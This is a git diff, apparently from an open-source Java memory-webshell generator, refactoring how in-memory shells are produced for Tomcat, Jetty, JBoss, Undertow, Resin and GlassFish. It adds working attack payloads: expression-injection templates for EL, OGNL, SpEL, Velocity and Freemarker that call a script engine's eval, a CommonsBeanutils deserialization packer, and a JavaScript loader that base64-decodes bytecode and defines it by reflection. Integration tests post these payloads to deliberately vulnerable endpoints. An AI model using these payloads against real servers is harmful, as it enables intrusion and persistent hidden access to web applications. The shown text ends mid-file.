diff --git a/build.gradle b/build.gradle
index b6711f5f..d5f7824b 100644
--- a/build.gradle
+++ b/build.gradle
@@ -11,6 +11,7 @@ allprojects {
idea {
module {
excludeDirs -= file('build')
+ excludeDirs += file('src')
}
}
diff --git a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java
index 828dc62e..15e05725 100644
--- a/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java
+++ b/generator/src/main/java/com/reajason/javaweb/GeneratorMain.java
@@ -1,13 +1,10 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
-import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
-import com.reajason.javaweb.memsell.jboss.JbossShell;
-import com.reajason.javaweb.memsell.jetty.JettyShell;
+import com.reajason.javaweb.memsell.AbstractShell;
import com.reajason.javaweb.memsell.packer.Packer;
-import com.reajason.javaweb.memsell.tomcat.TomcatShell;
-import com.reajason.javaweb.memsell.undertow.UndertowShell;
import lombok.SneakyThrows;
+import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.codec.binary.Base64;
import java.io.IOException;
@@ -20,11 +17,6 @@ import java.nio.file.StandardOpenOption;
* @since 2024/11/24
*/
public class GeneratorMain {
- static TomcatShell tomcatShell = new TomcatShell();
- static JettyShell jettyShell = new JettyShell();
- static JbossShell jbossAsShell = new JbossShell();
- static UndertowShell undertowShell = new UndertowShell();
- static GlassFishShell glassFishShell = new GlassFishShell();
public static void main(String[] args) throws IOException {
ShellConfig shellConfig = ShellConfig.builder()
@@ -48,23 +40,12 @@ public class GeneratorMain {
}
public static GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
- switch (shellConfig.getServer()) {
- case TOMCAT:
- return tomcatShell.generate(shellConfig, injectorConfig, shellToolConfig);
- case JETTY:
- return jettyShell.generate(shellConfig, injectorConfig, shellToolConfig);
- case JBOSS:
- return jbossAsShell.generate(shellConfig, injectorConfig, shellToolConfig);
- case UNDERTOW:
- return undertowShell.generate(shellConfig, injectorConfig, shellToolConfig);
- case GLASSFISH:
- return glassFishShell.generate(shellConfig, injectorConfig, shellToolConfig);
- case RESIN:
- break;
- default:
- throw new IllegalArgumentException("Unsupported server");
+ Server server = shellConfig.getServer();
+ AbstractShell shell = server.getShell();
+ if (shell == null) {
+ throw new IllegalArgumentException("Unsupported server");
}
- return null;
+ return shell.generate(shellConfig, injectorConfig, shellToolConfig);
}
@SneakyThrows
diff --git a/generator/src/main/java/com/reajason/javaweb/config/Server.java b/generator/src/main/java/com/reajason/javaweb/config/Server.java
index 9701aec5..cb1b16de 100644
--- a/generator/src/main/java/com/reajason/javaweb/config/Server.java
+++ b/generator/src/main/java/com/reajason/javaweb/config/Server.java
@@ -1,70 +1,87 @@
package com.reajason.javaweb.config;
+import com.reajason.javaweb.memsell.AbstractShell;
+import com.reajason.javaweb.memsell.glassfish.GlassFishShell;
+import com.reajason.javaweb.memsell.jboss.JbossShell;
+import com.reajason.javaweb.memsell.jetty.JettyShell;
+import com.reajason.javaweb.memsell.resin.ResinShell;
+import com.reajason.javaweb.memsell.tomcat.TomcatShell;
+import com.reajason.javaweb.memsell.undertow.UndertowShell;
+import lombok.Getter;
+
/**
* @author ReaJason
* @since 2024/11/22
*/
+@Getter
public enum Server {
/**
* Tomcat 中间件
*/
- TOMCAT,
+ Tomcat(new TomcatShell()),
/**
* Jetty 中间件
*/
- JETTY,
+ Jetty(new JettyShell()),
/**
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 JBoss AS
*/
- JBOSS,
+ JBoss(new JbossShell()),
/**
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
* JBossEAP
*/
- UNDERTOW,
+ Undertow(new UndertowShell()),
/**
* SpringMVC 框架
*/
- SPRING_MVC,
+ SpringMVC(null),
/**
* Spring Webflux 框架
*/
- SPRING_WEBFLUX,
+ SpringWebflux(null),
/**
* WebSphere 中间件
*/
- WEBSPHERE,
+ WebSphere(null),
/**
* WebLogic 中间件
*/
- WEBLOGIC,
+ WebLogic(null),
/**
- * Resin 中间件
+ * Resin 中间件, Resin
*/
- RESIN,
+ Resin(new ResinShell()),
/**
- * Glassfish 中间件
+ * GlassFish 中间件
*/
- GLASSFISH,
+ GlassFish(new GlassFishShell()),
/**
* 宝兰德中间件
*/
- BES,
+ Bes(null),
/**
* 东方通中间件
*/
- TONGWEB,
+ Tongweb(null),
/**
* 金蝶天燕中间件
*/
- APUSIC
+ Apusic(null),
+ ;
+
+ private final AbstractShell shell;
+
+ Server(AbstractShell shell) {
+ this.shell = shell;
+ }
}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java
index 3718e4f6..369da1ab 100644
--- a/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/AbstractShell.java
@@ -53,6 +53,9 @@ public abstract class AbstractShell {
public GenerateResult generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig) {
Pair, Class>> shellInjectorPair = getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
+ if (shellInjectorPair == null) {
+ throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
+ }
Class> shellClass = shellInjectorPair.getLeft();
Class> injectorClass = shellInjectorPair.getRight();
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java
index b6f79df3..03c0529e 100644
--- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java
@@ -1,31 +1,32 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
-import com.reajason.javaweb.deserialize.CommonsBeanutils19;
+import com.reajason.javaweb.deserialize.DeserializeConfig;
+import com.reajason.javaweb.deserialize.DeserializeGenerator;
+import com.reajason.javaweb.deserialize.PayloadType;
import lombok.SneakyThrows;
-import java.io.ByteArrayOutputStream;
-import java.io.ObjectOutputStream;
+import java.util.Map;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class DeserializePacker implements Packer {
- @SneakyThrows
- public static byte[] serialize(Object obj) {
- ByteArrayOutputStream baos = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baos);
- oos.writeObject(obj);
- oos.flush();
- oos.close();
- return baos.toByteArray();
- }
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
- Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
- return serialize(payload);
+ DeserializeConfig deserializeConfig = new DeserializeConfig();
+ deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
+ return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
+ }
+
+ @Override
+ public byte[] pack(GenerateResult generateResult, Map config) {
+ String payloadType = (String) config.get("payloadType");
+ DeserializeConfig deserializeConfig = new DeserializeConfig();
+ deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType));
+ return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
}
}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java
new file mode 100644
index 00000000..f955b3e4
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ELPacker.java
@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class ELPacker implements Packer {
+ ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+ String template = "";
+
+ public ELPacker() {
+ try {
+ template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/ELScriptEngine.txt")), Charset.defaultCharset());
+ } catch (IOException ignored) {
+
+ }
+ }
+
+ @Override
+ public byte[] pack(GenerateResult generateResult) {
+ byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+ return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java
new file mode 100644
index 00000000..565ab040
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/FreemarkerPacker.java
@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class FreemarkerPacker implements Packer {
+ ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+ String template = "";
+
+ public FreemarkerPacker() {
+ try {
+ template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/FreemarkerScriptEngine.txt")), Charset.defaultCharset());
+ } catch (IOException ignored) {
+
+ }
+ }
+
+ @Override
+ public byte[] pack(GenerateResult generateResult) {
+ byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+ return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java
index f2995284..8de14e35 100644
--- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/JspPacker.java
@@ -13,12 +13,22 @@ import java.util.Objects;
*/
public class JspPacker implements Packer {
+ String jspTemplate = null;
+
+ public JspPacker() {
+ try {
+ jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
+ } catch (Exception ignored) {
+
+ }
+ }
+
+
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
- String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
}
}
\ No newline at end of file
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java
new file mode 100644
index 00000000..9024acb2
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/OgnlPacker.java
@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+public class OgnlPacker implements Packer {
+ ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+ String template = "";
+
+ public OgnlPacker() {
+ try {
+ template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
+ } catch (IOException ignored) {
+
+ }
+ }
+
+ @Override
+ public byte[] pack(GenerateResult generateResult) {
+ byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+ return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java
index d294076b..49ece892 100644
--- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/Packer.java
@@ -26,7 +26,7 @@ public interface Packer {
* @param config 配置
* @return 字节数组
*/
- default byte[] pack(GenerateResult generateResult, Map config) {
+ default byte[] pack(GenerateResult generateResult, Map config) {
throw new UnsupportedOperationException();
}
@@ -47,6 +47,19 @@ public interface Packer {
* 反序列化打包器
*/
Deserialize(new DeserializePacker()),
+
+ /**
+ * EL
+ */
+ EL(new ELPacker()),
+
+ Ognl(new OgnlPacker()),
+
+ SpEL(new SpELPacker()),
+
+ Velocity(new VelocityPacker()),
+
+ Freemarker(new FreemarkerPacker()),
;
private final Packer packer;
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java
index e03cbc9f..bd20265b 100644
--- a/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/ScriptEnginePacker.java
@@ -4,6 +4,7 @@ import com.reajason.javaweb.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
+import java.io.IOException;
import java.nio.charset.Charset;
import java.util.Objects;
@@ -12,12 +13,26 @@ import java.util.Objects;
* @since 2024/12/3
*/
public class ScriptEnginePacker implements Packer {
+ String jsTemplate = null;
+
+ public ScriptEnginePacker() {
+ try {
+ jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
+ } catch (IOException ignored) {
+
+ }
+ }
+
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
- String jsTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.js")), Charset.defaultCharset());
- return jsTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
+ return jsTemplate.replace("{{className}}", injectorClassName)
+ .replace("{{base64Str}}", injectorBytesBase64Str)
+ .replace("\n", "")
+ .replaceAll("(?m)^[ \t]+|[ \t]+$", "")
+ .replaceAll("[ \t]{2,}", " ")
+ .getBytes();
}
}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java
new file mode 100644
index 00000000..0884277a
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/SpELPacker.java
@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class SpELPacker implements Packer {
+ ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+ String template = "";
+
+ public SpELPacker() {
+ try {
+ template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/SpELScriptEngine.txt")), Charset.defaultCharset());
+ } catch (IOException ignored) {
+
+ }
+ }
+
+ @Override
+ public byte[] pack(GenerateResult generateResult) {
+ byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+ return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java b/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java
new file mode 100644
index 00000000..500f4358
--- /dev/null
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/packer/VelocityPacker.java
@@ -0,0 +1,31 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.apache.commons.io.IOUtils;
+
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.Objects;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/13
+ */
+public class VelocityPacker implements Packer {
+ ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
+ String template = "";
+
+ public VelocityPacker() {
+ try {
+ template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/VelocityScriptEngine.txt")), Charset.defaultCharset());
+ } catch (IOException ignored) {
+
+ }
+ }
+
+ @Override
+ public byte[] pack(GenerateResult generateResult) {
+ byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
+ return template.replace("{{script}}", new String(scriptBytes)).getBytes();
+ }
+}
diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java
index bb41af3c..0eec1049 100644
--- a/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java
+++ b/generator/src/main/java/com/reajason/javaweb/memsell/tomcat/injector/TomcatFilterInjector.java
@@ -32,7 +32,9 @@ public class TomcatFilterInjector {
Object filter = getFilter(context);
addFilter(context, filter);
}
- } catch (Exception ignored) {
+ } catch (Exception e) {
+ System.out.println("filter inject get context error");
+ e.printStackTrace();
}
}
@@ -213,6 +215,7 @@ public class TomcatFilterInjector {
// 防止重复注入
try {
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{filterClassName}) != null) {
+ System.out.println("filter alread injected");
return;
}
} catch (Exception ignored) {
@@ -254,7 +257,7 @@ public class TomcatFilterInjector {
} catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
}
-
+ System.out.println("filter inject success");
constructors[0].setAccessible(true);
try {
Object filterConfig = constructors[0].newInstance(context, filterDef);
diff --git a/generator/src/main/resources/ELScriptEngine.txt b/generator/src/main/resources/ELScriptEngine.txt
new file mode 100644
index 00000000..91359ca1
--- /dev/null
+++ b/generator/src/main/resources/ELScriptEngine.txt
@@ -0,0 +1 @@
+"".getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')
\ No newline at end of file
diff --git a/generator/src/main/resources/FreemarkerScriptEngine.txt b/generator/src/main/resources/FreemarkerScriptEngine.txt
new file mode 100644
index 00000000..19007bc1
--- /dev/null
+++ b/generator/src/main/resources/FreemarkerScriptEngine.txt
@@ -0,0 +1 @@
+${'freemarker.template.utility.ObjectConstructor'?new()('javax.script.ScriptEngineManager').getEngineByName('js').eval('{{script}}')}
\ No newline at end of file
diff --git a/generator/src/main/resources/OgnlScriptEngine.txt b/generator/src/main/resources/OgnlScriptEngine.txt
new file mode 100644
index 00000000..3672f6d8
--- /dev/null
+++ b/generator/src/main/resources/OgnlScriptEngine.txt
@@ -0,0 +1 @@
+(new javax.script.ScriptEngineManager()).getEngineByName('js').eval('{{script}}')
\ No newline at end of file
diff --git a/generator/src/main/resources/SpELScriptEngine.txt b/generator/src/main/resources/SpELScriptEngine.txt
new file mode 100644
index 00000000..f9e45dd1
--- /dev/null
+++ b/generator/src/main/resources/SpELScriptEngine.txt
@@ -0,0 +1 @@
+T(javax.script.ScriptEngineManager).newInstance().getEngineByName("js").eval('{{script}}')
\ No newline at end of file
diff --git a/generator/src/main/resources/VelocityScriptEngine.txt b/generator/src/main/resources/VelocityScriptEngine.txt
new file mode 100644
index 00000000..2965cf13
--- /dev/null
+++ b/generator/src/main/resources/VelocityScriptEngine.txt
@@ -0,0 +1 @@
+#set($x='') #set($cz = $x.class.forName('javax.script.ScriptEngineManager')) $cz.getDeclaredConstructor(null).newInstance().getEngineByName('js').eval('{{script}}')
\ No newline at end of file
diff --git a/generator/src/main/resources/shell.js b/generator/src/main/resources/shell.js
index 83bf9f9e..40c1df97 100644
--- a/generator/src/main/resources/shell.js
+++ b/generator/src/main/resources/shell.js
@@ -4,7 +4,7 @@ var base64Str = "{{base64Str}}";
try {
classLoader.loadClass(className).newInstance();
} catch (e) {
- var clsString = classLoader.loadClass('java.lang.String');
+ var clsString = classLoader.loadClass("java.lang.String");
var bytecode;
try {
var clsBase64 = classLoader.loadClass("java.util.Base64");
@@ -12,14 +12,19 @@ try {
var decoder = clsBase64.getMethod("getDecoder").invoke(base64Clz);
bytecode = clsDecoder.getMethod("decode", clsString).invoke(decoder, base64Str);
} catch (ee) {
- var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
- bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
+ try {
+ var datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
+ bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
+ } catch (eee) {
+ var clazz1 = classLoader.loadClass("sun.misc.BASE64Decoder");
+ bytecode = clazz1.newInstance().decodeBuffer(base64Str);
+ }
}
- var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
- var clsByteArray = Java.type('byte[]').class;
+ var clsClassLoader = classLoader.loadClass("java.lang.ClassLoader");
+ var clsByteArray = (new java.lang.String("a").getBytes().getClass());
var clsInt = java.lang.Integer.TYPE;
- var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
+ var defineClass = clsClassLoader.getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
defineClass.setAccessible(true);
- var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
+ var clazz = defineClass.invoke(classLoader, bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
clazz.newInstance();
}
\ No newline at end of file
diff --git a/generator/src/test/java/com/reajason/javaweb/memsell/packer/FreemarkerPackerTest.java b/generator/src/test/java/com/reajason/javaweb/memsell/packer/FreemarkerPackerTest.java
new file mode 100644
index 00000000..7a311d77
--- /dev/null
+++ b/generator/src/test/java/com/reajason/javaweb/memsell/packer/FreemarkerPackerTest.java
@@ -0,0 +1,25 @@
+package com.reajason.javaweb.memsell.packer;
+
+import com.reajason.javaweb.config.GenerateResult;
+import org.junit.jupiter.api.Test;
+
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * @author ReaJason
+ * @since 2024/12/14
+ */
+class FreemarkerPackerTest {
+ FreemarkerPacker packer = new FreemarkerPacker();
+
+ @Test
+ void test() {
+ GenerateResult generateResult = GenerateResult.builder()
+ .injectorClassName("hehe")
+ .injectorBytesBase64Str("hehe").build();
+ String content = new String(packer.pack(generateResult));
+ System.out.println(content);
+ assertTrue(content.contains("var className = \"hehe\";"));
+ assertTrue(content.contains("var base64Str = \"hehe\";"));
+ }
+}
\ No newline at end of file
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
index 5b250785..945b2537 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java
@@ -50,18 +50,23 @@ public class ShellAssertionTool {
}
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) {
- if (Packer.INSTANCE.JSP.equals(packer)) {
- String uploadEntry = url + "/upload";
- String filename = shellType + shellTool + ".jsp";
- String shellUrl = url + "/" + filename;
- VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content));
- VulTool.urlIsOk(shellUrl);
- } else if (Packer.INSTANCE.ScriptEngine.equals(packer)) {
- String uploadEntry = url + "/js";
- VulTool.postData(uploadEntry, new String(content));
- } else if (Packer.INSTANCE.Deserialize.equals(packer)) {
- String uploadEntry = url + "/java_deserialize";
- VulTool.postData(uploadEntry, Base64.getEncoder().encodeToString(content));
+ log.info(new String(content));
+ switch (packer) {
+ case JSP -> {
+ String uploadEntry = url + "/upload";
+ String filename = shellType + shellTool + ".jsp";
+ String shellUrl = url + "/" + filename;
+ VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content));
+ VulTool.urlIsOk(shellUrl);
+ }
+ case ScriptEngine -> VulTool.postData(url + "/js", new String(content));
+ case EL -> VulTool.postData(url + "/el", new String(content));
+ case SpEL -> VulTool.postData(url + "/spel", new String(content));
+ case Ognl -> VulTool.postData(url + "/ognl", new String(content));
+ case Freemarker -> VulTool.postData(url + "/freemarker", new String(content));
+ case Velocity -> VulTool.postData(url + "/velocity", new String(content));
+ case Deserialize ->
+ VulTool.postData(url + "/java_deserialize", Base64.getEncoder().encodeToString(content));
}
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java
index 9e18005e..ef6af0a2 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java
@@ -1,6 +1,7 @@
package com.reajason.javaweb.integration;
import lombok.SneakyThrows;
+import lombok.extern.slf4j.Slf4j;
import okhttp3.*;
import org.junit.jupiter.api.Assertions;
@@ -8,6 +9,7 @@ import org.junit.jupiter.api.Assertions;
* @author ReaJason
* @since 2024/11/30
*/
+@Slf4j
public class VulTool {
@SneakyThrows
@@ -33,6 +35,7 @@ public class VulTool {
.url(uploadUrl).post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
+ System.out.println(response.body().string());
Assertions.assertEquals(200, response.code());
}
}
@@ -47,6 +50,7 @@ public class VulTool {
.url(uploadUrl).post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
+ log.info(response.body().string());
Assertions.assertNotEquals(404, response.code());
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java
index 43160d1f..500c0109 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish3ContainerTest.java
@@ -68,6 +68,6 @@ public class GlassFish3ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java
index 70437325..cbaa43fd 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish4ContainerTest.java
@@ -68,6 +68,6 @@ public class GlassFish4ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java
index a97a77c5..58b71c4f 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish501ContainerTest.java
@@ -66,6 +66,6 @@ public class GlassFish501ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java
index ab611a02..be3a3546 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java
+++ b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish510ContainerTest.java
@@ -72,6 +72,6 @@ public class GlassFish510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
- testShellInjectAssertOk(getUrl(container), Server.GLASSFISH, shellType, shellTool, Opcodes.V1_6, packer);
+ testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer);
}
}
diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java
index c74ccad4..d14fecbd 100644
--- a/integration-test/src/test/java/com/reajason/javaweb/integration/glassfish/GlassFish6ContainerTest.java
